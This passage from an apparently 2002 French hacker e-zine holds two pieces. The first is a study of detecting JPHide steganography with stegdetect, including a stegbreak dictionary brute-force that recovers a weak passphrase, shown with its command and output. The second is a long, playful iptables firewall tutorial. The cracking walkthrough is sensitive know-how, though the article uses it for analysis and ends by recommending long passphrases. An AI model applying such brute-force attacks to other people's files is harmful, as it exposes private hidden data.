i.e. si vous entrez 'okioki' comme passphrase, vous pourrez extraire votre image en tapant 'okioki', bien sur, mais egalement simplement 'oki'. Taille des fichiers en octets: 39086 (original jpg) + 1886 (tgz) => 39947 (taille du jpg en sortie) ou encore: 1097804 + 1886 => 978077. ceci est l'illustration extreme d'un cas généralement vrai : le fichier stéganographié est d'une taille inferieure a la taille du jpg original ajouté a celle du fichier inséré. STEGDETECT (0.5) stegdetect est ecrit par l'auteur du programme de steganographie outguess, Niels Provos, en 2001, alors que JPhide est écrit en 99. Niels a donc eut le temps d'etudier le source et algos de JPhide. stegdetect contient aussi un utilitaire de brute-force qui fonctionne avec le dictionnaire qu'on lui donne: stegbreak. Tests: if information has been embedded with jsteg, with outguess, jphide, invisible secrets (?), F5 (?). Enfin stegdetect a une variable de sensitivité a virgule flotante : "-s float Changes the sensitivity of the detection algorithms." 1.0 est le defaut. 1.2 commence déja a renvoyer beaucoup trop de faux positifs. FAUX-POSITIFS AVEC STEGDETECT De 1.9+, puis de - en - redescendant jusqu'a 1.0 : faux positifs. Bien que l'auteur de stegdetect predise 2% max, je trouve des faux positifs sur 1/20 de mes images environ. /hda5/0cd/images/Decypher_S1.jpg : jphide(***) /hda5/0cd/images/IRAX.jpg : jphide(*) /hda5/0cd/images/Image 11.jpg : outguess(**) jphide(*) /hda5/0cd/images/Image 41.jpg : jphide(*) /hda5/0cd/images/image23.jpg : outguess(***) /hda5/0cd/images/Image1000.jpg : jphide(*) /hda5/0cd/images/image2.jpg : jphide(*) jphide est plus souvent responsable de faux positifs que d'autres comme outguess ou jsteg, grace a son algorithme plus élaboré. STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: SENSIBILITE SUR 1MO Sensitivité: sur une image de 1Mo avec ses 2Ko de stegano, - avec 1.8 de sensitivité (tres élevée, bp de faux positifs) : a.jpg : négative - avec 1.9 de sensitivité (encore plus élevée) : thufir:~/temp$ stegdetect -s 1.9 a.jpg a.jpg : jphide(*) == positive, trouvé. STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: TAILLE Taille: avec la meme image de 1Mo avec - 2 Ko de données steganographiées: non détecté (v. precedent) - 20 Ko de données steganographiées: détecté. Egalement, sur un fichier de 200 Ko + 2 Ko, steghide détecte jphide a 1.0 (default) de sensibilité, ce qui veut dire qu'il y a de forte chances que ce ne soit pas un faux positif. STRATEGIE DE TEST AVEC STEGDETECT, VARIABLE: PASS PHRASE Toujours sur l'image de 1 Mo, contenant 2 Ko de stegano. - avec un tres faible mot de passe 'oki' : se fait découvrir a 1.0 (sensitivité normale) - avec une longue pass phrase (21 chars) : trouvée négative de 1.0 -> 2.7 ! (a ce niveau, il y a déja tellement de faux positif que le test n'a plus aucune valeur) Avec 20Ko dans l'image de 1 Mo, meme avec la big passphrase steghide détect positif a 1.0 (**) et deja (***) a 1.5. BRUTE-FORCE CRACKING EXTRACTION STRATEGIE AVEC STEGBREAK L'utilitaire stegbreak de stegdetect, est une sorte de moulinette qui fonctionne avec un dictionnaire de mots sur lequel différentes op. peuvent etre définies en plus dans un rules.ini, dans le style de john the ripper. exemple de ligne: # Duplicate reasonably short pure alphabetic words (fred -> fredfred) <7>1!?Ald En utilisant un dico (ici /crypto/wordlists/1anothercollection/web2) de 1 Mo, sur un P3 1Ghz proc 99% pdt 4 Min sur une img1Mo.jpg, le mot de passe est trouvé et la partie stegano extraite : jphide[v3](oki) STRATEGIE DE TEST SUR UNE STEGANOGRAPHIE NON-DETECTEE Cas d'un fichier contenant de la steganographie, mais non identifié comme tel par stegdetect (en utilisant pourtant un coefficient de sensitivité de 2.7, ce qui est énorme et donne autant de faux positifs). Essai néanmoins de brute force avec stegbreak : thufir:~/temp$ stegbreak -t p -f wordlists/web2 a.jpg Loaded 1 files... a.jpg : jphide[v3](oki) Processed 1 files, found 1 embeddings. Time: 34 seconds: Cracks: 129503, 3808.9 c/s L'attaque réussit donc quand meme! le faible mot de passe 'oki' est trouvé, bien que le fichier n'ai pas ete identifié comme contenant de la stegano. Bon a savoir si vous suspectez un fichier en particulier. POST-COMPARATIF AVEC LA PRECEDENTE VERSION DE STEGDETECT (0.3) J'ai essayé cette ancienne version de stegdetect, histoire de comparer les différences éventuelles de résultats avec la récente 0.5. Puisque qu'une étude comparative de versions n'est pas le but ici, il en résulte simplement que la 0.3 est moins efficace que la nouvelle pour détecter des petits fichiers insérés. pour le reste, peu de différences. DISCUSSION Une large attaque distribuée sur ebay et USENET avec stegdetect a été effectuée par l'auteur de stegdetect. Il en ressort qu'internet n'est PAS utilisé comme support pour la distribution d'informations stegano. Ils n'ont pas pu trouver un seul document inséré parmis 15.000 images trouvées positives par stegdetect. En plus j'imagine que c'etait en tres faible sensitivité, sinon le nombre de faux positifs aurait été bp plus élevé... Puisque le nombre d'images évalué etait de 2 millions. CONCLUSION La stegano est détectable et identifiable. cependant, avec un ratio de 1/500e, prouver statistiquement son existence reste presque impossible. Beaucoup de mots de passes sont vulnérables a des attaques par force- brute a l'aide d'un dictionnaire aide d'algorithmes. Avec JPHide, choisir une passphrase longue, plutot qu'un simple mot de passe, anéantit les chances d'une éventuelle attaque et réduit beaucoup les probabilités de détection. leonard at madchat.org [mAdchAt, base de fichiers libres] REFERENCES UTILISEES {* == 5hdumat.samizdat.net ou http://madchat.org} */crypto/textes/detect.pdf */crypto/steganography/unix/stegdetect-0.5.tar.gz */crypto/steganography/unix/stegdetect-0.3.tar.gz */crypto/steganography/unix/libevent-0.6.tar.gz */crypto/steganography/unix/jpeg/jphs-0.3.tgz */crypto/steganography/windos/jpeg/jphs05.zip */crypto/wordlists/1anothercollection/web2 leonard@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ______________________________________ _ -b- `^°*;:,.> BTH RTFM DMZ CQFD(*) <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯lansciac¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 23/10/2002 Une savate ayant voyagé tout l'été sur les différentes places de l'Europe décida, pour une fois, de prendre un peu de repos. A coup de pelle, a coup de pioche, elle construisit son petit nid douillet. Fort de connaitre les trois petits cochons, elle fit directement sa maison en pierre. Heureuse dans son nouvel habitat, va sans dire loin de la capitale, elle coulait des jours heureux regardant les mouches papilloner et les papillons se faire moucher par son voisin de collectionneur. Tout était pour le mieux dans le meilleur des mondes. Et ce, jusqu'a ce qu'elle décide par pure folie de s'abonner a charlot magazine. Ce quotidien lui garantissait le contact avec des milliers de gens, cela chaque jour. Notre pauvre savate ne savait plus quoi faire, chaque jour des milliers de visiteurs venaient quémander a boire, savoir qui elle était, lui demandaient des dessins. Si tout cela s'eut stoppé la; l'affaire serait bonne et il n'y aurait point d'histoire, mais seulement, notre bonne petite savate se vut victime d'un vol. Avec tout ce passage, impossible de savoir qui était le mécréant. C'est pour cela qu'elle décida de construire plusieurs entrées a guichet. Chaque visiteur devant maintenant présenter sa patte afin de savoir ou il devrait se présenter. Voyant que cela fonctionnait fort bien, elle décida de nommer son invention. Le nom? IPtables. Pourquoi? A question simple, réponse simple, vous répondrait-elle. Table des Itinérants et autres Prestataires. C'est a quelques choses pres la véritable histoire d'iptables. --- L'histoire selon Linux --- Le filtrage de paquets semble nécessaire a partir du moment ou votre machine se connecte a une autre machine, et ce pour la simple et bonne raison que vous ne voulez en aucun cas que qui que ce soit vienne faire n'importe quoi chez vous sans votre autorisation. Pour cela, dés la version 1.1 de linux (j'entends par la le noyau, bien sûr, aucune amalgame avec GNU/Linux pour faire plaisir a rms, au grand désarroi de lt), Alan Cox a porté une premiere version de filtre fondé sur ipfw de BSD. il a été amélioré dans la version 2.0, entre autre par Jos Vos, mais ce n'est pas l'unique contributeur. Au milieu de l'année 1998, Rusty Russel et Michael Neuling retravaillerent le noyau et introduisirent l'outil ipchains. Ipchains réside sous linux 2.2. La derniere génération stable de noyau s'est vue fournie d'un outil de la quatrieme génération nommé iptables. Cela sous entend quoi? Qu'il vous est nécessaire d'avoir un noyau 2.4 (pour les noyaux stables) et de positionner "CONFIG_NETFILTER" a Y (pour Yes, oui en francais) dans la configuration de ce dernier. En pratique, vous avez acces a netfilter depuis le noyau 2.3.15, et vous devez donc pouvoir vous servir d'iptables par dessus. Qu'est ce qu'iptables en fait? Est ce le firewall? est ce un logiciel? est ce la recette de la potion magique? Pourquoi n'entend on pas les arbres qui tombent dans la foret? Iptables est un outil, une interface, permettant d'insérer et de supprimer les regles de la table du filtre de paquets du noyau. Le premier rang de légume est placé, nous pouvons commencer notre potager. --- IPTABLES --- Quelques petites regles sont a observer. La configuration de votre firewall est archivée dans votre noyau, ce qui signifie qu'au prochain redémarrage, toutes les regles seront perdues. Vous devez créer un fichier ou seront stockées toutes les regles et chaines qui vous semblent nécessaire. En tant que bon éleve, faites une copie du fichier. Russel préconise l'emploi de iptables-save et iptables-restore. Vous pouvez tout aussi bien les appeler remus et romulus, si ca vous parle et surtout si vous avez le courage de linker le tout. Il existe en effet des petites options pour iptables-save et iptables-restore qui peuvent s'avérer bien pratiques (voir leur man respectif pour en apprendre davantage). Placez votre script d'initialisation de regles a l'endroit adéquat. Assurez vous de faire quelque chose de réfléchi, au cas ou il y aurait un fouarage aléatoire lors de l'exécution de votre script (balancer un `exec /sbin/sulogin` par exemple). Maintenant que le décor est posé, il est nécessaire de regarder un petit peu plus en avant l'essentiel. Nous verrons donc deux parties. La premiere concerne la gestion des chaines, la deuxieme approche la gestion des regles a l'intérieur des chaines. A savoir qu'une chaine est constituée d'un ensemble de regles. Au commencement, vous possédez en tout et pour tout trois chaines vierges. INPUT, OUTPUT ET FORWARD. Vous voyez également que la politique mise en place est une politique d'acceptation (policy ACCEPT). Si aucune regle ne convient au traitement du paquet en cours d'analyse, il sera alors accepté. Chaines initiales Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination *Comment créer une nouvelle chaine? iptables -N votre_nom_de_chaine Vous remarquerez que votre_nom_de_chaine figure ici en minuscule. Par convention, les chaines définies par l'utilisateur sont écrites en minuscule pour les distinguer des autres. Votre chaine maintenant créée, vous pouvez la remplir de regles. Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain toto (0 references) target prot opt source destination Ajouter une nouvelle regle a une chaine : iptables -A Pour l'exemple, nous droperons tous les paquets icmp en provenance de 127.0.0.1: iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP Chain INPUT (policy ACCEPT) target prot opt source destination DROP icmp -- localhost.localdomain anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain toto (0 references) target prot opt source destination Notre regle a été correctement ajoutée. Nous reviendrons plus tard sur l'écriture conforme d'une regle. Pour les besoins de l'exemple, je prendrai le fait que, par mégarde, j'ai rentré quatre fois de suite la meme regle dans la meme chaine (sic). Nous obtenons donc: Chain INPUT (policy ACCEPT) target prot opt source destination DROP icmp -- localhost.localdomain anywhere DROP icmp -- localhost.localdomain anywhere DROP icmp -- localhost.localdomain anywhere DROP icmp -- localhost.localdomain anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain toto (0 references) target prot opt source destination Bien que tout ceci soit d'une absurdité totale, cela va nous permettre d'approcher deux nouvelles options. En effet, devant cette redondance de chaine, il va nous falloir faire le ménage! Pour cela, vous avez le choix entre l'effeuillage ligne par ligne ou alors le nettoyage complet. C'est l'option que l'on pourrait assimiler a la chasse d'eau, -F (ou --flush). Cette option vide completement une chaine. $>iptables -F nom_de_votre_chaine Attention! Si vous ne spécifiez aucune chaine, toutes les chaines seront vidées. *Comment effacer une chaine? Tout aussi simple que pour sa création $>iptables -X ma_chaine L'auteur d'iptables pose la question du X. Pourquoi employer cette lettre qui n'a réellement aucun sens. En effet, jusqu'a présent, ce que nous avons pu voir ramenait toujours vers un mot significatif; A pour add, N pour new, F pour flush, D pour delete. Alors, que diable, qu'est ce que fait ce X ici. En général, un X marque l'emplacement, peut-etre trouverez-vous un trésor derriere celui-ci. Pour ceux que cela intéresse vraiment, le X a été adopté car toutes les autres 'bonnes' lettres étaient déja prises :) De meme que pour l'option de flush, une petite regle a été insérée. Si aucune chaine n'est citée, iptables tentera d'effacer toutes les chaines définies par les utilisateurs. Vous ne pouvez pas supprimer les trois chaines crées par défaut, a savoir INPUT, OUTPUT et FORWARD. *Lister les chaines et leur contenu Toute création nécessite un regard sur son oeuvre. Vous ne pourrez en aucun cas travailler indéfiniment a l'aveuglette. Nous avons vu que les regles étaient stockées dans un fichier. Faire appel a ce fichier pour connaitre les regles instaurées releverait de la lourdeur la plus totale et surtout, cela ne prendrait en aucun cas les changements effectués entre temps. Il existe donc plusieurs commandes qui permettent de lister avec plus ou moins de renseignement les chaines et regles mises en place. * L'option -L Deux utilisation. Dans le premier cas, vous spécifiez que vous voulez uniquement voir la chaine passée en parametre. $>iptables -L INPUT Chain INPUT (policy ACCEPT) target prot opt source destination REJECT icmp -- localhost.localdomain anywhere reject-with icmp-port-unreachable Cela permet de travailler avec une visibilité accrue sur la chaine que vous paramétrez. Explication de l'affichage: ____________________________________________________________________________ Chain : chaine INPUT : Nom de la chaine (policy ACCEPT) : Si aucune regle ne correspond au paquet, il sera accepté. ---------------------------------------------------------------------------- target : Ce que l'on fait du paquet (accept, drop ou reject) prot : Protocole visé opt : options source : Endroit d'ou proviennent les paquets destination : Endroit ou vont les paquets ---------------------------------------------------------------------------- La derniere ligne présente correspond a une regle que l'on a ajoutée, ici elle signifie: Rejeter tous les paquets icmp en provenance de localhost. Plus spécifiquement, le correspondant envoie un paquet ICMP type 8 (echo request) et votre ordinateur renvoie normalement un paquet ICMP type 0 (echo reply). Avec la chaine présente, le correspondant un message comme quoi son correspondant n'est pas joignable (C'est qui? C'est le plombier). --------------------------------------------------------------------------- L'argument -L sans aucun autre parametre permet d'afficher toutes les chaines présentes, meme si elles ne contiennent aucune regle. $>iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination REJECT icmp -- localhost.localdomain anywhere reject-with icmp-port-unreachable Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination *La sous-option -v Encore appelée --verbose. Cette forme vous donnera des informations supplémentaires sur l'interface concernée (eth0, eth1, ppp0, etc...), le nombre de paquets ainsi que le nombre de bits transférés. $>iptables -L -v Chain INPUT (policy ACCEPT 21 packets, 4085 bytes) pkts bytes target prot opt in out source destination 20 1960 REJECT icmp -- any any localhost.localdomain anywhere reject-with icmp-port-unreachable Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 38 packets, 3283 bytes) pkts bytes target prot opt in out source destination *La sous-option -n Un certain nombre de parametres sont par défaut écrits de maniere compréhensible pour l'homme, a savoir "localhost.localdomain" représente en fait votre machine. L'ip définie par convention est 127.0.0.1. Cette option permet donc en un sens plus de rigueur dans sa lecture. $>iptables -L -v -n Chain INPUT (policy ACCEPT 31 packets, 4834 bytes) pkts bytes target prot opt in out source destination 20 1960 REJECT icmp -- * * 127.0.0.1 0.0.0.0/0 reject-with icmp-port-unreachable Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 50 packets, 4017 bytes) pkts bytes target prot opt in out source destination *La remise a zéro des compteurs Comme nous avons pu le voir dans les exemples précédents, vous avez la possibilité de relever le nombre de paquets et d'octets (bytes) que cela représente. Cela peut par exemple etre utile dans le cadre de la métrologie. $>iptables -L -v -n Chain INPUT (policy ACCEPT 25 packets, 4067 bytes) pkts bytes target prot opt in out source destination 30 2520 DROP icmp -- * * 127.0.0.1 0.0.0.0/0 Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 55 packets, 6587 bytes) pkts bytes target prot opt in out source destination Ici, vous voyez que certaines chaines ont vu leurs compteurs incrémentés. Nous allons donc remettre tout cela a zéro. L'option que nous utiliserons sera -Z (pour zero). Vous pouvez aussi utilser --zero. Cette option combinée a l'option de listing vous permettra de récupérer la valeur des compteurs avant qu'ils soient remis a zéro. $>iptables -L -v -n -Z Chain INPUT (policy ACCEPT 25 packets, 4067 bytes) pkts bytes target prot opt in out source destination 30 2520 DROP icmp -- * * 127.0.0.1 0.0.0.0/0 Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 55 packets, 6587 bytes) pkts bytes target prot opt in out source destination Zeroing chain `INPUT' Zeroing chain `FORWARD' Zeroing chain `OUTPUT' Controlons que tout soit bien remis a zéro: $>iptables -L -v -n Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 DROP icmp -- * * 127.0.0.1 0.0.0.0/0 Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Les compteurs sont bien a leur état initial, l'opération s'est bien déroulée. *Les polices de sécurité de chaines Il nous reste un dernier point a voir pour les options concernant les chaines. Pour chaque chaine principale (INPUT, OUTPUT, FORWARD) Pour ce faire, la commande a utiliser sera: $>iptables -P INPUT DROP Chain INPUT (policy DROP) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Comme mentionné plus haut, une politique de sécurité stricte instaure la mise de DROP sur les chaines principales, ce qui oblige ainsi tous les paquets a etre traités. Cependant, ne faites cela que si vous comprenez ce que vous faites, dans le cas inverse, vous n'aurez plus acces au réseau... *Les regles Nous avons traité ce qui concernait les chaines, il nous faut maintenant nous concentrer sur leur contenu, a savoir les regles. Si l'on devait prendre une métaphore, on pourrait considérer que les chaines sont les océans et que les regles sont des fleuves. Chaque fleuve reliant un océan. *Créer une regle Avant toute chose, vous devez savoir dans quelle chaine vous allez placer votre regle. Celle-ci concerne t'elle une entrée (INPUT), une sortie (OUTPUT) ou transmission (FORWARD) d'un paquet. Vous pouvez également l'assigner a une sous chaine que vous aurez créée au préalable. Syntaxe : iptables -A chaine arguments exemple : iptables -A INPUT -s 127.0.0.1 -j DROP on demande a iptables d'ajouter dans la chaine INPUT les arguments suivant : -s 127.0.0.1 Dont la source est 127.0.0.1 -j DROP Refuser On refuse tout ce qui provient de l'hote local en entrée. Afin d'élargir notre champ de couverture, nous traiterons ici d'un certains nombre d'arguments que l'on peut passer a notre regle en ajout. Garder en tete que nous ne traitons ici que les parametres! N'oubliez donc pas comment se constitue une regle. Presque tout argument peut avoir son contraire. Il suffit pour cela de le faire suivre d'un point d'exclamation '!' $>iptables -A INPUT -s ! 127.0.0.1 -s, --source, --src Définit la provenance du paquet -d, --destination, --dst Définit la destination du paquet Pour ces définitions, vous pouvez viser une adresse unique, comme tout un réseau, pour cela, il suffit d'utiliser le masque de sous réseau. '192.168.21.0/24' est équivalent a '192.168.21.0/255.255.255.0'. Pour spécifier une adresse unique, vous utiliserez '/32' et pour au contraire couvrir l'ensemble des adresses, '0/0' (toutes les IP existantes). Vous avez également la possibilité de noter les dns (madchat.org, localhost), cependant, cela reste déconseillé. Si je décide de bloquer madchat sur mon réseau, je bloquerai également le serveur qui héberge les autres sites que madchat. Ceci est par conséquent tres embetant. -p, --protocol Définit le(s) protocole(s) choisi(s) Les protocoles que vous pouvez employer sont spécifiés dans /etc/protocols. Toutefois, la plupart du temps, vous vous réferrerez a 'tcp', 'udp' ou 'icmp'. Vous pouvez utiliser 'all' qui regroupe l'ensemble des protocoles. Lorsque l'option n'est pas spécifiée, 'all' est sélectionné par défaut. La casse employée pour la spécification du protocole n'a pas d'importance. $>iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP Vous restez insatisfait ? Vous désirez pouvoir filtrer vos paquets par drapeau (flag) sur tcp, sur le port source ou destination ? Pas de probleme. *TCP [chap] --tcp-flags Autorise le filtre sur des drapeau tcp spécifiques. La premiere liste de drapeau est composée du masque de ceux que vous voulez examiner, la deuxieme comporte tout ceux qui doivent voir leurs bits mis a un. $>iptables -A INPUT -p tcp --tcp-flags ALL SYN,ACK -j DROP $>iptables -L -vn Chain INPUT (policy ACCEPT 8058 packets, 3277K bytes) pkts bytes target prot opt in out source destination 5217 2287K all -- eth0 * 0.0.0.0/0 0.0.0.0/0 156 10856 all -- lo * 0.0.0.0/0 0.0.0.0/0 0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp flags:0x3F/0x12 Ici, on veut tous les drapeau, a savoir : SYN, ACK, FIN, RST, URG, PSH il faut que les bits de SYN et ACK soient positionnés. Il existe encore deux autres drapeaux présents pour vous faciliter la tache: ALL et NONE. ALL regroupe l'ensemble des drapeaux et NONE bien évidement aucun. --syn En corrélation avec l'option précédente. C'est un raccourci pour --tcp-flags SYN,RST,ACK SYN --sport, --source-port --dport, --destination-port Port source ou port destination. Vous pouvez utiliser les noms des ports que vous souhaitez (www, ftp, ...) comme dans /etc/services ou directement les numéros de ceux-ci. Pour décrire une plage, séparez le port de début du port de fin par deux points ':'. $>iptables -A INPUT -j ACCEPT -s 127.0.0.1 -p tcp --sport 20:2000 Si vous désirez insérer la notion de "tous les ports supérieurs ou égal a" ou bien "tous les ports inférieurs ou égal a", laissez le champ vide avant ou apres les deux points, selon ce que vous désirez faire. $>iptables -A INPUT -j ACCEPT -s 127.0.0.1 -p tcp --sport 20: $>iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- localhost.localdomain anywhere tcp spts:ftp-data:2000 ACCEPT tcp -- localhost.localdomain anywhere tcp spts:ftp-data:65535 --tcp-option Vous permet de traiter les datagrammes en fonction des options passées a tcp, pour en savoir plus sur celles-ci, reportez-vous a : http://www.eisti.fr/res/res/rfc793/793-3.htm#option [/chap] *UDP [chap] --sport, --source-port --dport, --destination-port L'usage reste le meme que celui vu pour TCP. [/chap] *ICMP [chap] --icmp-type Cette option autorise le filtrage des paquets icmp selon leurs types. Vous retrouverez la liste des types a l'adresse suivante : http://www.netfilter.org/documentation/tutorials/blueflux/iptables-tutorial.html#ICMPTYPES Vous pouvez au choix nommer les types de maniere numérique, le premier nombre représentant le type, le deuxieme représentant le code, le tout étant séparé par un slash (/) $>iptables -A INPUT -p icmp --icmp-type 3/3 Chain INPUT (policy ACCEPT) target prot opt source destination icmp -- anywhere anywhere icmp port-unreachable Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination La seconde maniere vous invite a utiliser les types icmp par nom. Je vous dresse ici la liste existante $>iptables -p icmp --help echo-reply (pong) destination-unreachable network-unreachable host-unreachable protocol-unreachable port-unreachable fragmentation-needed source-route-failed network-unknown host-unknown network-prohibited host-prohibited TOS-network-unreachable TOS-host-unreachable communication-prohibited host-precedence-violation precedence-cutoff source-quench redirect network-redirect host-redirect TOS-network-redirect TOS-host-redirect echo-request (ping) router-advertisement router-solicitation time-exceeded (ttl-exceeded) ttl-zero-during-transit ttl-zero-during-reassembly parameter-problem ip-header-bad required-option-missing timestamp-request timestamp-reply address-mask-request address-mask-reply [/chap] * Match [chap] Il nous reste encore un sous chapitre a voir, il s'agit des extentions "match". En francais, nous pourrions traduire par extensions de comparaison. -m, --match La différence avec les autres extensions réside dans le fait que celles-ci, si elles ne sont pas spécifiées, ne seront jamais chargées par défaut par votre filtre. La raison en est simple, la plupart de ces extensions sont spécifique a des protocoles, ou juste présentes a titre de test/expérimentation ou encore pour vous montrer de quoi est capable iptable. Nous ne couvrirons donc que quelques options. --mac-source Filtre les paquets selon leur adresse source. l'adresse mac sera évidement donnée sous la forme XX:XX:XX:XX:XX:XX iptables -A INPUT -m mac --mac-source 00:00:00:00:00:01 Chain INPUT (policy ACCEPT) target prot opt source destination icmp -- anywhere anywhere icmp port-unreachable all -- anywhere anywhere MAC 00:00:00:00:00:01 Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination --limit Cette option permet d'instaurer des limites, d'instaurer des taux, comme par exemple pour limiter le nombre de messages d'historique. Cette option est suivie d'un nombre; vous pouvez aussi faire suivre ce nombre de l'unité temporelle désirée (/second;/minute;/hour;/day). Par défaut, la limite est réglée a trois par heure. [/chap] -j, --jump Spécifie ce que vous désirez faire du paquet. La cible peut etre une sous-chaine que vous aurez vous-meme créée ou alors vers une valeur spéciale. Celle-ci peut prendre la forme de ACCEPT, DROP, QUEUE ou RETURN. ACCEPT autorise le paquet a continuer son chemin. DROP n'autorise pas le paquet a continuer son chemin. QUEUE permet de passer le paquet a une application, si jamais aucune application n'attend apres le paquet, il est rejeté. RETURN se comporte différement selon son emplacement. S'il est dans une chaine que vous avez construite, le paquet est renvoyé a la chaine forgée d'ou il vient. S'il se trouve déja dans une chaine forgée, c'est la police de cette meme chaine qui décide du sort du paquet. -i, --in-interface -o, --out-interface Spécification des interfaces sur lesquelles les paquets arrivent ou partent. Si vous avez bien compris, cela signifie que toute regle comportant -o dans la chaine INPUT ne se verra pas beaucoup récompensée, il en va de meme si vous insérez une regle avec -i dans la chaine OUTPUT. $>iptables -A INPUT -i eth0 $>iptables -A INPUT -i lo Si vous demandez a présent un listing simple de vos chaines, vous ne verrez aucune différence, pensez donc a demander un listing détaillé. $>iptables -L -vn Chain INPUT (policy ACCEPT 3045 packets, 1182K bytes) pkts bytes target prot opt in out source destination 346 202K all -- eth0 * 0.0.0.0/0 0.0.0.0/0 14 1040 all -- lo * 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT 1867 packets, 241K bytes) pkts bytes target prot opt in out source destination Pour spécifier plusieurs interfaces du meme type (eth0, eth1, eth2, etc... par exemple) vous pouvez utiliser le caractere +. $>iptables -A INPUT -i eth+ Toutes les interfaces commencant par eth seront alors concernées. Par défaut, si l'option n'est pas spécifiée, le '+' est mis d'office, sélectionnant toutes les interfaces. -f, --fragment Depuis le début, je ne vous parle que de paquets, mais qu'en est-il des fragments de paquets, ces petits bouts de puzzle qui au final constituent un splendide paquet ? Vous n'etes pas sans savoir que des paquets trop conséquents n'ont aucune chance de traverser différents réseaux, les tailles autorisées étant différentes selon chaque routeur. Vous voyez donc votre paquet arriver petit a petit. Seule l'entete contiendra l'ip ou il doit se rendre, que ferez vous donc des autres fragments ? Certes non, si vous désirez donc traiter le deuxieme fragment, le troisieme, etc. utilisez cette option. *Enlever une regle Pour enlever ligne par ligne, il vous faut simplement exécuter: iptables -D la_chaine la_regle_concernée ou encore iptables -D la_chaine le_numéro_de_la_regle. Chaque chaine contenant des regles sont numérotées en partant de un. Il est a noter que dans le premier cas, si vous avez deux regles identiques, seule la premiere (numériquement parlant) sera otée. Il est intéressant de noter que pour obtenir les numéros des regles dans les chaines, vous pouvez utiliser l'option --line-number. $>iptables -L --line-number Chain INPUT (policy ACCEPT) num target prot opt source destination 1 all -- anywhere anywhere 2 all -- anywhere anywhere 3 all -- anywhere anywhere Chain FORWARD (policy ACCEPT) num target prot opt source destination Chain OUTPUT (policy ACCEPT) num target prot opt source destination 1 all -- anywhere anywhere --- Epilogue --- Mieux vaut avoir une souris dans la main qu'un chat dans la gorge. Ceci n'est qu'une petite présentation de l'outil, et il ne faut pas penser que tout est dit ici, loin s'en faut; mais toutes les bonnes choses ont une fin, et comme le dit le dicton popuplaire, la faim justifie les moyens, ou peut-etre est ce une histoire de coupe-fin. Oh fait : `man iptables`! (*) BTH RTFM DMZ CQFD BTH : By The Hell RTFM : Read The Fucking Manual DMZ : De-Militarized Zone CQFD : Ce Qu'il Fallait Démontrer lansciac@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, Et hop terminé pour ce hackoff27 qui a bien tardé pour sa sortie. Au programme du prochain numéro on vous prépare une decoction a base de hack nasa et d'electronique (ca revient a la mode). Enjoy ... ________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -<¯\______________________/¯>- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ -<_/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_>- ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ http://come.to/legang ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://hackoolique.tripod.com ~~ ~~ ~~ 